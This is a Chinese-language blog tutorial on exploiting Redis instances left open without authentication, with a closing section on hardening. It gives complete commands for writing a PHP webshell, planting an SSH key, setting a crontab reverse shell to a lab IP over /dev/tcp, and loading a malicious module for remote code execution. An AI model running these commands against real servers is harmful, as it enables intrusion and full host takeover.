Redis未授权访问及利用

什么是Redis

简介

​ Redis全称为:Remote Dictionary Server (远程数据服务器),使用C语言编写,与Mysql等传统关系型数据库不同,Redis属于非关系型数据库(NOSQL)因而它不支持SQL 。

特点

​ Redis是一款内存数据库,它将所有的数据读取在内存中而非文件中,所以在读写数据时,效率极高,同时也会因为数据量的增大而导致占用的内存增大。

支持的数据类型

​ Redis是一个key-value存储系统(键值存储系统),支持丰富的数据类型,如:String、list、set(无序集合)、zset(有序集合)、hash。

应用场景

​ 缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。

Redis 基本命令与机制

基本命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
命令不区分大小写

info 查看信息redis信息
Select 0-15 连接指定数据库(默认连接数据库0,redis不能像mysql一样自己创建 数据库,配置文件默认规定创建16个数据库,数据库索引为0-15

set key value 设置变量,如果变量相同会自动覆盖
get key 查看变量名称及值
del key 删除单个键
keys * 查看所有键
slaveof host 为 redis 设置主服务器
info replication 查看主从关系
flushall 删除所有数据库内容(!生产环境慎用慎用)
config set dir dirpath 设置路径等配置
config set dbfilename redis.rdb 设置备份文件名
config get dir/dbfilename 获取路径及数据配置信息
save /bgsave 阻塞保存/创建子进程进行保存

AOF RDB持久化实例

由于redis运行时所有的数据文件都是在内存中,但内存中的数据是易失的,如果遇到进程终止、服务器宕机等情况,会导致内存中所有的数据丢失。为了将内存中的数据保存下来,rdies提供了两种持久化方法

AOF方式 将执行的命令记录到日志中,在进行恢复时就再执行一遍记录的命令。

RDB方式 将redis的内存快照保存到文件里,用户可以通过redis提供的命令,指定保存的文件名和保存的位置。在进行恢复的时候直接将这些文件读入内存,redis默认采用这种持久化方式。

1650184364942

主从复制机制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower) ; 数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主。

建立主从关系过程:

1650184447507

主从复制过程

主从复制,slave向master中发送同步请求,master响应请求,向slave发送RDB文件,slave接收到文件,将文件读入内存就是实现了主从复制,其中第一次会全量复制,之后是增量复制。只要重新连接master,都会执行一次全量复制。

1650184543779

Redis未授权访问

造成未授权访问的原因

不同于 Mysql 等服务器在配置过程中默认需要输入账号密码,Redis 在默认配置过程中无需设置密码。这就造成了一些 Redis 服务器存在简单的空口令、弱密码等安全风险。另一方面,如需想要直接访问redis且没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以未授权访问 Redis 以及读取 Redis 的数据。

配置文件 redis.conf中相关配置

1650184629482

1650184635889

1650184642794

.* 容易忽略的是:通过命令config set requirepass value设置密码,只是临时的。重启redis服务器,密码就还原了。永久设置,需要在配置文件中进行设置。

Redis未授权访问很普遍

尽管Redis未授权访问问题已经存在很长时间,但在公网上仍然存在很多服务器存在未授权访问的问题。

利用网络空间搜索引擎钟馗之眼,搜索一下就能发现很多存在未授权访问的主机。

1650184809610

Redis未授权访问的利用

1650184860249

写入WebShell

利用原理:

我们可以写入任意变量,redis默认的持久化机制可以让我们将变量内容保存到文件里边,我们可以将文件名设置为.php 文件,然后将保存目录设置为web目录,进行保存,就能实现写入任意php文件

利用过程:
1
2
3
4
5
6
7
> config set dir /usr/share/nginx/html
>config set dbfilename shell.php
> keys *
>flushall
> set shell “\n\r<?php phpinfo(); ?>\n\r"
> save/bgsave

执行结果:

1650184969833

最终写入结果:

1650185053601

访问结果:

由于php脚本有一定的容错性所以虽然文件里有一些乱码内容但仍能正常执行

1650185198036

SSH登录

SSH提供了两种认证方式,一种是用户名密码登录,一种是公钥认证

利用原理:

就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized_keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

1
2
3
4
5
ssh-keygen –t rsa    #生成密钥对 
cd /root/.ssh/ #密钥对存放位置
(echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt#将公钥读入文本
cat pub.txt #查看文本
cat pub.txt | redis-cli -h 192.168.19.133 -p 6379 -x set crackit #读取公钥并将公钥设置为变量内容
1
2
3
4
5
>keys *
>get key
>config set dir /root/.ssh/
>config set dbfilename "authorized_keys"
>save
1650185654623
进行ssh登录:
1
ssh -i /root/.ssh/id_rsa root@xxx.xxx.xxx.xx 
一个问题:

公钥文件中存在很多乱码,为什还可以用于认证。

1650185921251

原因:

ssh密钥有一定的格式,而且在再写入的时候使用了换行,保证了密钥格式正确,在进程读取的时候,可以正确识别,具有一定的容错性,但在某些情况下仍会无法识别。

利用crontab反弹shell

什么是crontab:

Crontab 是 Linux 系统或 Unix 系统定时执行任务的命令,可以定时执行脚本文件或命令。

命令格式 *(分) *(时) *(日) *(月) *(星期几) commond , Crontab执行环境为/bin/sh

利用原理:

crond系统进程每分钟会检查是否有任务要执行,检查方式是查找/var/spool/cron/,/etc/cron.d/ 目录下的文件及 /etc/crontab 文件中所有 crontab 命令,并读入内存中然后执行。所以只要脚本文件可以写到定时任务目录里就可以执行该脚本。

利用过程:
写入定时任务,反弹shell
1
2
3
4
5
6
>flushall
>set shell "\n\n* * * * * /bin/sh -i >&/dev/tcp/192.168.19.132/8888 0>&1\n\n"
>get shell
> config set dir /var/spool/cron/
>config set dbfilename root
> save

1650186168416

攻击机监听反弹端口

1650186726179

成功拿到shell

分析写入的定时任务文件

1650186830288

.*利用redis未授权访问写的文件里都有乱码,这些乱码来自redis的缓存数据,centos会忽略乱码去执行格式正确的任务计划,ubuntu并不会忽略这些乱码,所以导致命令执行失败。

主从复制RCE

以上三种方式主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,且crontab和ssh服务可以说是服务器的标准的服务,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展,业务部署逐渐组件化,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块来扩展Redis功能,可以实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

利用原理:

构造恶意Redis master在进行主从全量复制时,恶意master会将原本要发送的RDB文件替换成恶意的.so文件,slave(目标)在接收到文件后,保存到本地中,再在slave上使用module load命令加载保存在本地的.so文件就能实现代码执行。

恶意.so文件下载:https://codeload.github.com/n0b0dyCN/RedisModules-ExecuteCommand/zip/refs/heads/master

利用过程:

只演示加载.so文件

1
2
3
>module load ./exp.so   #加载恶意模块
>system.exec 'whoami'
>system.rev 127.0.0.1 9999

1650187358787

Redis防护措施

1、做好访问控制,在不需要接外网时,就bind本地网卡

1
2
修改 redis.conf 文件:
bind 127.0.0.1

2、为 Redis 添加密码验证

1
2
修改 redis.conf 文件,
添加 requirepass mypassword

3、设置隐藏文件属性,不允许修改authorized_keys

1
chattr +a authorized_keys

4、以低权限运行 Redis 服务

1
2
3
redis默认使用用户权限启动的,降权可以避免getshell后直接root,添加一个普通用户
groupadd -r 组名
useradd -r -g 组名

总结

主要利用了redis由于配置不当导致的未授权访问,用户在未授权的情况下登录可以执行Redis提供的命令写入文件,利用webshell 和在Centos下定时任务文件具有一定的容错性,来执行脚本和命令。同时利用Redis的主从复制机制实现的RCE。防治措施最重要的是解决根源上的未授权访问问题。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!